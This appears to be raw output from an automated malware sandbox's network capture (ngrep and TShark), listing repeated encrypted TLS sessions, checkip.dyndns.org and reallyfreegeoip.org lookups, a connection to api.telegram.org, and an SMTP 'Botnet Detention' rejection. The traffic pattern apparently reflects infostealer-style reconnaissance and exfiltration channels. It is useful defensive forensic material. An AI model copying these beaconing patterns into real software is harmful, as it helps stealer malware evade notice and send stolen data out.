/tmp/filtered_nzchu0mg.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #1\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #2\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #3\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #4\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #5\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #6\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #7\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #8\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #9\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #10\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #11\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #12\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #13\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #14\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #15\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #16\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\n######\nT 192.168.122.168:50100 -> 132.226.247.73:80 [AP] #22\nGET / HTTP/1.1.\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;).\nHost: checkip.dyndns.org.\nConnection: Keep-Alive.\n.\"\n0.0,NGrep,##,\"Payload: T 132.226.247.73:80 -> 192.168.122.168:50100 [AP] #24\nHTTP/1.1 200 OK.\nDate: Tue, 28 Apr 2026 18:22:48 GMT.\nContent-Type: text/html.\nContent-Length: 104.\nConnection: keep-alive.\nCache-Control: no-cache.\nPragma: no-cache.\nAccess-Control-Allow-Origin: *.\n.\n<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>.\"\n0.0,NGrep,##,\"Payload: T 192.168.122.168:50100 -> 132.226.247.73:80 [AP] #26\nGET / HTTP/1.1.\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;).\nHost: checkip.dyndns.org.\n.\"\n0.0,NGrep,##,\"Payload: T 132.226.247.73:80 -> 192.168.122.168:50100 [AP] #28\nHTTP/1.1 200 OK.\nDate: Tue, 28 Apr 2026 18:22:49 GMT.\nContent-Type: text/html.\nContent-Length: 104.\nConnection: keep-alive.\nCache-Control: no-cache.\nPragma: no-cache.\nAccess-Control-Allow-Origin: *.\n.\n<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>.\"\n0.0,NGrep,#####,\"Payload: T 192.168.122.168:50104 -> 188.114.96.0:443 [AP] #33\n....v...r..i.v.k.....T0..,...6... .>..Z.-ve....\n.......5./.\n...;.........reallyfreegeoip.org.\n.................#...........\n##\nT 188.114.96.0:443 -> 192.168.122.168:50104 [AP] #35\n....C...?..i...{......X..KR........DOWNGRD...........................#.................0...0..b........=.......IA\"\"-..^0\n..*.H.=...0;1.0...U....US1.0...U.\n..Google Trust Services1.0\n..U....WE10...260415201538Z..260714211150Z0.1.0...U....reallyfreegeoip.org0Y0...*.H.=....*.H.=....B.........q...u.Fd..~.;P..$....Z5SS...........x9IX...p>..h.v.....0....c0.._0...U...........0...U.%..0\n..+.......0...U.......0.0...U......aU...q.)._.<....-p..0...U.#..0....w.5g......{..y{...80^..+........R0P0'..+.....0...http://o.pki.goog/s/we1/Fj00%..+.....0...http://i.pki.goog/we1.crt05..U....0,..reallyfreegeoip.org..*.reallyfreegeoip.org0...U. ..0\n0...g.....06..U.../0-0+.).'.%http://c.pki.goog/we1/A4NN7G_5v7M.crl0....\n+.....y............w...U;.Oz....o.O.....^.U&....r.EK..............H0F.!.......&[...................<.`...!..U.U..9....).....h.....g.7..1....u.........5k.?jz.m.:NC..F...9u.................F0D. Z.@9.8B...l[......Y..g.fo.?|N.... ...._........q.u..D+...t.....Q..0\n..*.H.=....H.0E. ...D.c:E..3.....2..x...B.H..]!mB.!...l.......U..'....v..Y.5....(..S...0...0..%..........w.,\"\"Jv.].....0\n..*.H.=...0G1.0...U....US1\"\"0 ..U.\n..Google Trust Services LLC1.0...U....GTS Root R40...231213090000Z..290220140000Z0;1.0...U....US1.0...U.\n..Google Trust Services1.0\n..U....WE10Y0...*.H.=....*.H.=....B..o.:.gWGL!..@.G].XG.@.\\....7..|..K.......\n.........Y.,&...&%....V...0..0...U...........0...U.%..0...+.........+.......0...U.......0.......0...U.......w.5g......{..y{...80...U.#..0....L..t.I6.....>.j....04..+........(0&0$..+.....0...http://i.pki.goog/r4.crt0+..U...$0\"\"0 ......http://c.pki.goog/r/r4.crl0...U. ..0\n0...g.....0\n..*.H.=....h.0e.1....Q..C..u......@Az&....2-=....#H.R.>dy....,.nU..0&..h.b...~....D~.LI..l.b4...~:..P.....}s..RAM..V..~0..z0..b.........0.3.C.....I=..0...*.H........0W1.0...U....BE1.0...U.\n..GlobalSign nv-sa1.0...U....Root CA1.0...U....GlobalSign Root CA0...231115034321Z..280128000042Z0G1.0...U....US1\"\"0 ..U.\n..Google Trust Services LLC1.0...U....GTS Root R40v0...*.H.=....+...\"\".b...ts.h.`.C.5..0{KI...a...F.k.a.5.@.s...0Z.<..|.@v;...G.*...js..r9.)...._^X.e...e......s..j/.........0..0...U...........0...U.%..0...+.........+.......0...U.......0....0...U.......L..t.I6.....>.j....0...U.#..0...`{f.E....P/}..4....K06..+........*0(0&..+.....0...http://i.pki.goog/gsr1.crt0-..U...&0$0\"\". ....http://c.pki.goog/r/gsr1.crl0...U. ..0\n0...g.....0...*.H..............B........?c.....hH.9\"\"s...N-.1......6...y.....j.{.}.t..e.h*,,.B..q...-.k..n.}V.#XX.%...G... ........U.yu5,1[?e....B.....^.....-G...c~....k.......gX......I.P[?:.%....\\.yW.6...&.........>..n..<..8.A..^S.>. W...?H......j#....?/....n..F...g.3&...K..6.&;[..........p...l... ...3Y...|,..5.9...L....B...<..;4.F0D. I38._.-...>...R.U...V`...x..);... ].?.2jq.'.q..Uz?q.s......y....,..........\n##\nT 192.168.122.168:50104 -> 188.114.96.0:443 [AP] #37\n....%...! .!..............;j....fBX^1.Q.0?..........0S.!.......&$F1.N...r.*W......|3FKE.a...=.C......\n##\nT 188.114.96.0:443 -> 192.168.122.168:50104 [AP] #39\n............ ....4q<.#p..2../..).50.......*....[....J.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[..........0..&.h>(.p....4o);.$.n..U].K?=.U...q..Qr..T....\"\".\n#####\nT 192.168.122.168:50100 -> 132.226.247.73:80 [AP] #44\nGET / HTTP/1.1.\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;).\nHost: checkip.dyndns.org.\n.\"\n0.0,NGrep,##,\"Payload: T 132.226.247.73:80 -> 192.168.122.168:50100 [AP] #46\nHTTP/1.1 200 OK.\nDate: Tue, 28 Apr 2026 18:22:53 GMT.\nContent-Type: text/html.\nContent-Length: 104.\nConnection: keep-alive.\nCache-Control: no-cache.\nPragma: no-cache.\nAccess-Control-Allow-Origin: *.\n.\n<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>.\"\n0.0,NGrep,####,\"Payload: T 192.168.122.168:50107 -> 188.114.96.0:443 [AP] #50\n....6...2..i.v.8.....O.........,.....#)=.......\n.......5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[....J.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\n###\nT 188.114.96.0:443 -> 192.168.122.168:50107 [AP] #53\n....;...7..i...c....F...*.t..'.u:[$DOWNGRD................................0JITU.s...N.t..t\"\"...|.f].K^.&1.a......}...^../..<\n####\nT 192.168.122.168:50100 -> 132.226.247.73:80 [AP] #57\nGET / HTTP/1.1.\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;).\nHost: checkip.dyndns.org.\n.\"\n0.0,NGrep,##,\"Payload: T 132.226.247.73:80 -> 192.168.122.168:50100 [AP] #59\nHTTP/1.1 200 OK.\nDate: Tue, 28 Apr 2026 18:22:54 GMT.\nContent-Type: text/html.\nContent-Length: 104.\nConnection: keep-alive.\nCache-Control: no-cache.\nPragma: no-cache.\nAccess-Control-Allow-Origin: *.\n.\n<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>.\"\n0.0,NGrep,####,\"Payload: T 192.168.122.168:50111 -> 188.114.96.0:443 [AP] #63\n....6...2..i.v.Z...\\..y.................f .....\n.......5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[....J.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\n###\nT 188.114.96.0:443 -> 192.168.122.168:50111 [AP] #66\n....;...7..i...=H#\\.C.........K.d.^DOWNGRD................................0.R.&..;..z..D....:.!.......Y.x..u..\n!.Ut...x...\"\"\n####\nT 192.168.122.168:50100 -> 132.226.247.73:80 [AP] #70\nGET / HTTP/1.1.\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;).\nHost: checkip.dyndns.org.\n.\"\n0.0,NGrep,##,\"Payload: T 132.226.247.73:80 -> 192.168.122.168:50100 [AP] #72\nHTTP/1.1 200 OK.\nDate: Tue, 28 Apr 2026 18:22:55 GMT.\nContent-Type: text/html.\nContent-Length: 104.\nConnection: keep-alive.\nCache-Control: no-cache.\nPragma: no-cache.\nAccess-Control-Allow-Origin: *.\n.\n<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>.\"\n0.0,NGrep,####,\"Payload: T 192.168.122.168:50112 -> 188.114.96.0:443 [AP] #76\n....6...2..i.v.jx..m...7....262.w.......+......\n.......5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[....J.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\n###\nT 188.114.96.0:443 -> 192.168.122.168:50112 [AP] #79\n....;...7..i....'a...O.4..g|.Pd.+tRDOWNGRD................................0j:;G.....d5..@[.#HJ......`.X...Z..r.....=.q.AuO.\n####\nT 192.168.122.168:50100 -> 132.226.247.73:80 [AP] #83\nGET / HTTP/1.1.\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;).\nHost: checkip.dyndns.org.\n.\"\n0.0,NGrep,##,\"Payload: T 132.226.247.73:80 -> 192.168.122.168:50100 [AP] #85\nHTTP/1.1 200 OK.\nDate: Tue, 28 Apr 2026 18:22:56 GMT.\nContent-Type: text/html.\nContent-Length: 104.\nConnection: keep-alive.\nCache-Control: no-cache.\nPragma: no-cache.\nAccess-Control-Allow-Origin: *.\n.\n<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>.\"\n0.0,NGrep,####,\"Payload: T 192.168.122.168:50113 -> 188.114.96.0:443 [AP] #89\n....6...2..i.v.]j.....Y.$.1.C+..}0.Y...H.......\n.......5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[....J.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\n###\nT 188.114.96.0:443 -> 192.168.122.168:50113 [AP] #92\n....;...7..i....*H..U.#..G.\nw......DOWNGRD................................0....3..p....5...[....w.......$i...,.m.f.T.......\n#####\nT 192.168.122.168:50100 -> 132.226.247.73:80 [AP] #97\nGET / HTTP/1.1.\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;).\nHost: checkip.dyndns.org.\n.\"\n0.0,NGrep,##,\"Payload: T 132.226.247.73:80 -> 192.168.122.168:50100 [AP] #99\nHTTP/1.1 200 OK.\nDate: Tue, 28 Apr 2026 18:22:58 GMT.\nContent-Type: text/html.\nContent-Length: 104.\nConnection: keep-alive.\nCache-Control: no-cache.\nPragma: no-cache.\nAccess-Control-Allow-Origin: *.\n.\n<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>.\"\n0.0,NGrep,####,\"Payload: T 192.168.122.168:50115 -> 188.114.96.0:443 [AP] #103\n....6...2..i.v....Zh.vA.$..Z............I?.....\n.......5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[....J.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\n###\nT 188.114.96.0:443 -> 192.168.122.168:50115 [AP] #106\n....;...7..i....U..;....V..|2...<..DOWNGRD................................0&.vW{...1q.w.NE..V.q+..1........5,|o_.=o_.).q(t.\n####\nT 192.168.122.168:50100 -> 132.226.247.73:80 [AP] #110\nGET / HTTP/1.1.\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;).\nHost: checkip.dyndns.org.\n.\"\n0.0,NGrep,##,\"Payload: T 132.226.247.73:80 -> 192.168.122.168:50100 [AP] #112\nHTTP/1.1 200 OK.\nDate: Tue, 28 Apr 2026 18:22:59 GMT.\nContent-Type: text/html.\nContent-Length: 104.\nConnection: keep-alive.\nCache-Control: no-cache.\nPragma: no-cache.\nAccess-Control-Allow-Origin: *.\n.\n<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>.\"\n0.0,NGrep,####,\"Payload: T 192.168.122.168:50117 -> 188.114.96.0:443 [AP] #116\n....6...2..i.v.E...._!...\\...,...Y....;.ny.....\n.......5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[....J.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\n###\nT 188.114.96.0:443 -> 192.168.122.168:50117 [AP] #119\n....;...7..i....'4h.tw...EK.......wDOWNGRD................................0...#..VK.~.?.;#y.:..S...y....._..C\"\"......@...V][\n####\nT 192.168.122.168:50100 -> 132.226.247.73:80 [AP] #123\nGET / HTTP/1.1.\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;).\nHost: checkip.dyndns.org.\n.\"\n0.0,NGrep,##,\"Payload: T 132.226.247.73:80 -> 192.168.122.168:50100 [AP] #125\nHTTP/1.1 200 OK.\nDate: Tue, 28 Apr 2026 18:23:00 GMT.\nContent-Type: text/html.\nContent-Length: 104.\nConnection: keep-alive.\nCache-Control: no-cache.\nPragma: no-cache.\nAccess-Control-Allow-Origin: *.\n.\n<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>.\"\n0.0,NGrep,####,\"Payload: T 192.168.122.168:50118 -> 188.114.96.0:443 [AP] #129\n....6...2..i.v\n.8\\.3..7......:..h...?.8v.......\n.......5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[....J.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\n###\nT 188.114.96.0:443 -> 192.168.122.168:50118 [AP] #132\n....;...7..i........vuT....w..N....DOWNGRD................................0....Z..J...\"\".A.I..a. .g...........|....G..\\p....\n####\nT 192.168.122.168:50100 -> 132.226.247.73:80 [AP] #136\nGET / HTTP/1.1.\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;).\nHost: checkip.dyndns.org.\n.\"\n0.0,NGrep,##,\"Payload: T 132.226.247.73:80 -> 192.168.122.168:50100 [AP] #138\nHTTP/1.1 200 OK.\nDate: Tue, 28 Apr 2026 18:23:01 GMT.\nContent-Type: text/html.\nContent-Length: 104.\nConnection: keep-alive.\nCache-Control: no-cache.\nPragma: no-cache.\nAccess-Control-Allow-Origin: *.\n.\n<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>.\"\n0.0,NGrep,####,\"Payload: T 192.168.122.168:50119 -> 188.114.96.0:443 [AP] #142\n....6...2..i.v..T.1[......{..V..eK.............\n.......5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[....J.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\n###\nT 188.114.96.0:443 -> 192.168.122.168:50119 [AP] #145\n....;...7..i...#.S3..3..:..\"\"O.5....DOWNGRD................................03u/xI.h.{yQ..f..|1...?.@.......84.GBO..kM....W.l\n#######\nT 192.168.122.168:50120 -> 149.154.166.110:443 [AP] #152\n...........i.v.E. %.5.....i./.K....lL..K'*2..*.,.+.0./.....$.#.(.'.\n...........=.<.5./.\n...V.........api.telegram.org.\n...............................................#...........\n##\nT 149.154.166.110:443 -> 192.168.122.168:50120 [AP] #154\n....E...A...>.v..........'....mGP..DOWNGRD.../.....................#..........O...K..H...0...0............>$.=...0...*.H........0..1.0...U....US1.0...U....Arizona1.0...U...\nScottsdale1.0...U.\n..GoDaddy.com, Inc.1-0+..U...$http://certs.godaddy.com/repository/1301..U...*Go Daddy Secure Certificate Authority - G20...251111151409Z..261213151409Z0.1.0...U....api.telegram.org0..\"\"0...*.H.............0..\n.........\\W..e..x...X/.Z.nI..W...x..<@<!....3..B....s...r97#.V.C.q..$.9..XS..*B.N-.2....*........EXz..E.#..T...I...!.)m...9:.5...G.........r0.I..1|..+)...Ar^5...\"\".Hv0m....).p....kX..s...y..._g.y..%....0..K\\..L.Q....~....5...7...s.n=.v..t.=.,../f.D.'?.........8.........I0..E0...U.......0.0...U.%..0...+.........+.......0...U...........09..U...2000..,.*.(http://crl.godaddy.com/gdig2s1-68200.crl0]..U. .V0T0...g.....0H..`.H...m....0907..+........+http://certificates.godaddy.com/repository/0v..+........j0h0$..+.....0...http://ocsp.godaddy.com/0@..+.....0..4http://certificates.godaddy.com/repository/gdig2.crt0...U.#..0...@..'..4.0.3..l...,..01..U...*0(..api.telegram.org..www.api.telegram.org0...U...............!...6\\(w0..0....\n+.....y......o...k.i.v..m}....w..._......3Ze....s....iw....s{FW.....G0E.!...2..%tgoK.Bb.....%.....u........ V-...G.L.fN...u.Q>|I%T..z../7..I.v..1~WE..E..8...A...!Z\"\".....v...R.....s{G......G0E.!...........Bh3........U......D.... Dw.._....b..x.m..?......7.`.9x6..w..8...|..D_[....n..Y.G\ni.......X.....s{Hn.....H0F.!...O.d....}..G..\"\"&op...4...x@os+..!...>.B.N..6.ST},8.....\"\"..<V......0...*.H.............N:.x....-...@....\n...JV_....L..L..=.....i$C<BeXk.A.K...P.j...UGx-V..f9...9g.|./O.T.{..8..>....\\W.;fi........,).....a...?..l..E.?*.~.*.Y.G;..`...#.u....Z....c.P..\n.`..EN.`Y.:..z...A....xn..| ,.q...|r....Yb.A......Z.B...........O.......8.=....O..}....VL$..S8...0...0...........0...*.H........0..1.0...U....US1.0...U....Arizona1.0...U...\nScottsdale1.0...U.\n..GoDaddy.com, Inc.110/..U...(Go Daddy Root Certificate Authority - G20...110503070000Z..310503070000Z0..1.0...U....US1.0...U....Arizona1.0...U...\nScottsdale1.0...U.\n..GoDaddy.com, Inc.1-0+..U...$http://certs.godaddy.com/repository/1301..U...*Go Daddy Secure Certificate Authority - G20..\"\"0...*.H.............0..\n...........v...b.0d...l...b../.>e...b.<R...EKU.xkc.b...il.....L.E3......+..a.yW....?0<]G.....7.AQ..KT.(.....08...&.fGcm.q&G.8GS.F......E...q..o....0:yO_LG...[...`;..C...3N...'O.%........t.dW..DU.-*:>....2\n..d..:P.J..y3.. .....9.i.lcR.w...t.....PT5KiN.;.I.....R..........0...0...U.......0....0...U...........0...U......@..'..4.0.3..l...,..0...U.#..0...:....g(.....An .....04..+........(0&0$..+.....0...http://ocsp.godaddy.com/05..U....0,0*.(.&.$http://crl.godaddy.com/gdroot-g2.crl0F..U. .?0=0;..U. .0301..+........%https://certs.godaddy.com/repository/0...*.H..............~l...8....K.._O..l>....P..s.W1..../....[....yb....jcs1...H.;.-.]...|%O.V0..D.{,..^...a...*......}.C.D..p........`..r.s$...\"\"....bXD...%......b.Q...Q*...s.v.6....,....*...Mu..?.A.#}[K...X.F..``..}PA......../..T.D..\n...3..-v6&.....a....o.F.(..&}\n..........0....0...0...........0...*.H........0..1.0...U....US1.0...U....Arizona1.0...U...\nScottsdale1.0...U.\n..GoDaddy.com, Inc.110/..U...(Go Daddy Root Certificate Authority - G20...090901000000Z..371231235959Z0..1.0...U....US1.0...U....Arizona1.0...U...\nScottsdale1.0...U.\n..GoDaddy.com, Inc.110/..U...(Go Daddy Root Certificate Authority - G20..\"\"0...*.H.............0..\n......qb...Y4.......IX.\"\"....\n##\nT 149.154.166.110:443 -> 192.168.122.168:50120 [AP] #156\n C.;....I.'....N...p..2...>.N...O/Y0\"\"...Vk......u.9Q{..5.tN......?........j..............;F|2...f\"\"..im6.......`.8......F..\n>.]|.|..+S..biQ%.a.D..,.C.#..:...)....]....0\n9.....K].2..bC%4.V'...;p*?n.....}....Sm`..,.X.._F.....<..I1\\iF..G......B0@0...U.......0....0...U...........0...U......:....g(.....An .....0...*.H...............]y...Yg.a.~;.1u-. .Oe......../..Z..t.s.8B..{..u...........S.~.F.....+....'....Z.7....l....=.$Oy.5._.......-.......s@.r%......h..W...:...D...7...2..8..d.,~........h..\"\".8-z..T.i._3.z={\n..._9..u..v.3.,./L.....O...JT...}......~...^....C..M..k...e.z...D.\\........,...(... :..L.(d...pv-\n....ghh.....c3s{o/....[,.M...4..j.\\..k.0...2R...{..O.#....[..ro.L#.....E.xj.Z.R..6....C..d.w~x.>...]..%...z......l...V{(f.... ]4.....0m.|k....\n..e....B..G.pL.Pxqd.#\"\".....r.,B..........So..T.<.R.g.; t.|\\..;~....7.Z...a..?v3Z{...K.\\......v...2..7s.|..z\"\" .Y......@..........%....\\n.........\n#\nT 192.168.122.168:50120 -> 149.154.166.110:443 [AP] #157\n....%...! ...UK^y..QuN..Z.k.#....]h].x..xj..........(.........@.5(VM..C..9v.y?c..E.=Y..)U.H.y\n##\nT 149.154.166.110:443 -> 192.168.122.168:50120 [AP] #159\n............X..OI.%........#......@V.H.....k...7V..og.[.\"\"../c..j....M.9......I.F.8.pT.Oy`x-..wrT..Dx....?.l.......W.......z..Io.b..E.......x............ ..y..y.SzZc...X.SD{N.RN.....Q!AVB9u....(....;. .Q..7..l..._0..... ...4..........(v.nu].L..u...O........_gk.;.>....q...J7.\n#\nT 192.168.122.168:50120 -> 149.154.166.110:443 [AP] #160\n....x........j....R....4..K...=....W....]........~.........h8+...(.P_k..Z(...*.#...}^../Rx..'.2.^...i\\.....&J1T$N...W...j..1.Ji\"\"..:...g.4.6..F..UDaX.m..f..>._...KW\n.u.L..C.R.*wH.zw...gy.....f..._...<...8=n..~h\nS.W...0;.[[....A.t!*1.%.W..:.l7..b..........H..z......../..D..~..X.\n......j..L!...Ni.0.......=.T..m...EkN.....|\"\"B.62Y..)cdj..!.fP...{.[.*(.g..P.L)m...;.....g.R......<.hx..\n##\nT 149.154.166.110:443 -> 192.168.122.168:50120 [AP] #162\n.....v.nu].L._..e3....U..I.*C...U.\n.....A.*....\\......U..%.3.c...V=.....L.s_\\.....d.`....I....d.$?......z....O..~t.....c.a.....o.t..h7L.I..=...]......?.....F-[4.....6...x..(...7.W)zM.!.)...u..z......h.>..gU].f.J..I...*.$.[.O..R...Rgt......T...8....\\[...z...`.....Q..|b....D.........N(..N....Z.rl....Hx.j.9hC..V,....pT...$.....-Z.?ra~bv..........G...o.. ..[......C...DD.I..3...j...8,:k.:...je..N.J*.h....)...;...BuHH-.@..5F..nN...=.E.\n#########################################\nT 162.251.85.202:587 -> 192.168.122.168:50121 [AP] #203\n550-\"\"[203.55.81.1]:37072 is in an RBL on bl.pro1.websitewelcome.com, see.\n550 Blocked - Botnet Detention\"\".\"\n0.0,NGrep,#################exit,Payload: \n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmpwn4kjrh9/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmpwn4kjrh9/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmpwn4kjrh9/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmpwn4kjrh9/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmpwn4kjrh9/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmpwn4kjrh9/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmpwn4kjrh9/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmpwn4kjrh9/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: %2f,Path: 